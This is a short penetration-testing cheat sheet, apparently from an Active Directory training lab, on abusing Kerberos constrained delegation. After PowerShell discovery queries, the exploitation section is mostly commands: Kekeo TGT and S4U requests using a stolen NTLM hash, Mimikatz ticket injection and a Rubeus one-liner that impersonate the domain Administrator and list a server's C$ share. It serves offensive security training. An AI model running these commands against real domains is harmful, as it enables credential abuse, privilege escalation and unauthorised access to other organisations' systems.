Constrained delegation

Constrained delegation

If you have compromised a user account or a computer (machine account) that has kerberos constrained delegation enabled, it's possible to impersonate any domain user (including administrator) and authenticate to a service that the user account is trusted to delegate to.

Discovery

AD module

Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo

Poweview 3.0

Get-DomainComputer -TrustedToAuth

Exploitation

Manual

## Either plaintext password or NTLM hash is required. We already have access to websvc's hash from dcorp-adminsrv
## Using asktgt from Kekeo, we request a TGT (steps 2 & 3 in the diagram):
kekeo.exe
tgt::ask /user:websvc /domain:dollarcorp.moneycorp.local /rc4:cc098f204c5887eaa8253e7c2749156f

## Using s4u from Kekeo, we request a TGS (steps 4 & 5):
tgs::s4u /tgt:[e-mail]_krbtgt~[e-mail] /user:[e-mail] /service:cifs/dcorp-mssql.dollarcorp.moneycorp.LOCAL

## Using mimikatz, inject the ticket:
Invoke-Mimikatz -Command '"kerberos::ptt [e-mail]@DOLLARCORP.MONEYCORP.LOCAL_cifs~[e-mail]"'

ls \\dcorp-mssql.dollarcorp.moneycorp.local\c$

Rubeus

## To abuse Constrained delegation using Rubeus, we can use the following command (We are requesting a TGT and TGS' in a single command):
Invoke-Rubeus -Command "s4u /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /impersonateuser:Administrator /msdsspn:CIFS/dcorp-mssql.dollarcorp.moneycorp.LOCAL /ptt"

ls \\dcorp-mssql.dollarcorp.moneycorp.local\c$

References

Kerberos Constrained Delegation